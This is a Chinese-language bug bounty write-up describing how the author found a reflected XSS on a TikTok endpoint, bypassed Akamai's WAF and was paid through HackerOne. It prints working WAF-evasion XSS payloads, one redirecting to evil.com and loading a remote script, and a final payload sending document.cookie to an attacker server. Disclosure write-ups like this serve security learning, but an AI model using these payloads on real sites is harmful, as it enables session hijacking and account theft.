TikTok漏洞赏金实战:绕过WAF赚取3000美元

本文详细记录了作者通过Burp Suite对TikTok进行侦察,发现反射型XSS漏洞并成功绕过Akamai WAF防护,最终通过HackerOne平台获得3000美元赏金的完整技术过程,包括payload构造与绕过技巧。

不玩游戏只黑客——我在TikTok漏洞赏金计划中赚取3000美元的经历

TikTok在HackerOne.com的漏洞赏金计划

那只是个普通的夜晚。朋友约我玩《Valorant》——这是我们的日常消遣。但不知为何,我拒绝了邀请。相反,我打开了Burp Suite,开始寻找漏洞赏金机会。这是我做过的最棒的决定。

因为那天晚上,我在TikTok发现了三个漏洞,最终赚取了总计3000美元的赏金。

侦察阶段

我的探索从简单的侦察开始。使用urlscan.io扫描TikTok相关域名的所有端点。经过一番挖掘,我得到了一个庞大的列表——大约10000个URL。

手动滚动浏览(没错,是手动),我注意到了一个路径下的端点,看起来像是活动分享功能。URL带有多个参数——这立刻引起了我的好奇心。(无法分享完整端点)

我开始尝试修改region参数。为了测试反射,我输入了这个无害的payload:

1
?region=id'"><u>testest</u>

猜猜发生了什么?

它完全反射回来了。没有过滤。没有编码。

遭遇WAF——Akamai

我心想:“好吧…这可能有戏。”于是我用经典payload测试:

1
"><img src=x onerror=alert(document.domain)>

被Akamai——TikTok的WAF拦截了。而且不是普通的WAF…是个难缠的对手。

游戏开始了。

绕过尝试

我开始研究Akamai WAF的绕过技术。找到了一些很酷的文章,讨论字符串混淆、大小写敏感性和标签规避。

一些常见尝试包括:

  • </ScRiPt> → 被拦截
  • </SCRIPT> → 被拦截
  • </ScRpt> → 未被拦截,但无效
  • </Script+xxx> → 短暂绕过,但最终又被过滤

我知道我需要更有创意的方案。

Payload进化

经过多次失败尝试后,我想出了这个看起来奇怪但有效的绕过字符串:

1
}<x>xxx<!--><!>+>+></Script+xxx></script%20x></x><x>xxx<!--><!>+>+>

这绕过了过滤——但alert()、confirm()和prompt()在运行时都被拦截了。所以我采取了安全措施,先报告了这个漏洞,使用开放重定向payload来避免可能的重复提交。

完整payload有点疯狂,看起来像这样:

1
}<x>xxx<!--><!>+>+></Script+xxx><Script+xxx>Object.prototype.BOOMR = 1;Object.prototype.url = 'https://portswigger-labs.net/xss/xss.js';location.replace('https://evil.com');</script%20x></x><x>xxx<!--><!>+>+>

两天后,我收到了HackerOne分类团队的回复:

“需要验证的XSS”

构造真正的XSS

我重新开始研究。既然直接alert()被拦截,我尝试使用混淆访问来分解它:

1
window/*xxx*/

完整payload:

1
<x>xxx<!--><!>+>+></Script+xxx><script%20x>window/*xxx*/['al'%2b'ert'](1);//</script%20x></x><x>xxx<!--><!>+>+>

这奏效了。我更新了我的PoC并再次发送。

内部分类团队回复:

“已确认并分类”

挑战接受。

我继续使用这个最终payload来窃取cookie:

1
window/*xxx*/['loca' + 'tion'] = 'http://<your-server>?cookie=' + document/*xxx*/['coo' + 'kie'];

砰。确认有效的XSS。同一天晚些时候——1000美元赏金到账。

额外收获:另外两个漏洞

在这次成功后,我继续挖掘同一路径家族下的更多端点。最终,我又发现了两个具有相同漏洞的端点。

相同的技术。相同的XSS。相同的赏金:每个1000美元。

💸 最终统计

  • 第一个漏洞:1000美元
  • 第二个漏洞:1000美元
  • 第三个漏洞:1000美元

➡️ 总计:3000美元

而且我那晚甚至不需要玩Valorant。

给同行黑客的最终建议

漏洞赏金不仅仅是技术问题——它关乎耐心、侦察、创造力和时机。有时候,对游戏邀请说"不"能让你多赚几千美元 😂

致所有猎人:永远不要小看反射参数。最简单的漏洞可能带来最意想不到的回报——如果你知道如何正确构造payload。

持续学习,保持安全。

黑客快乐。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计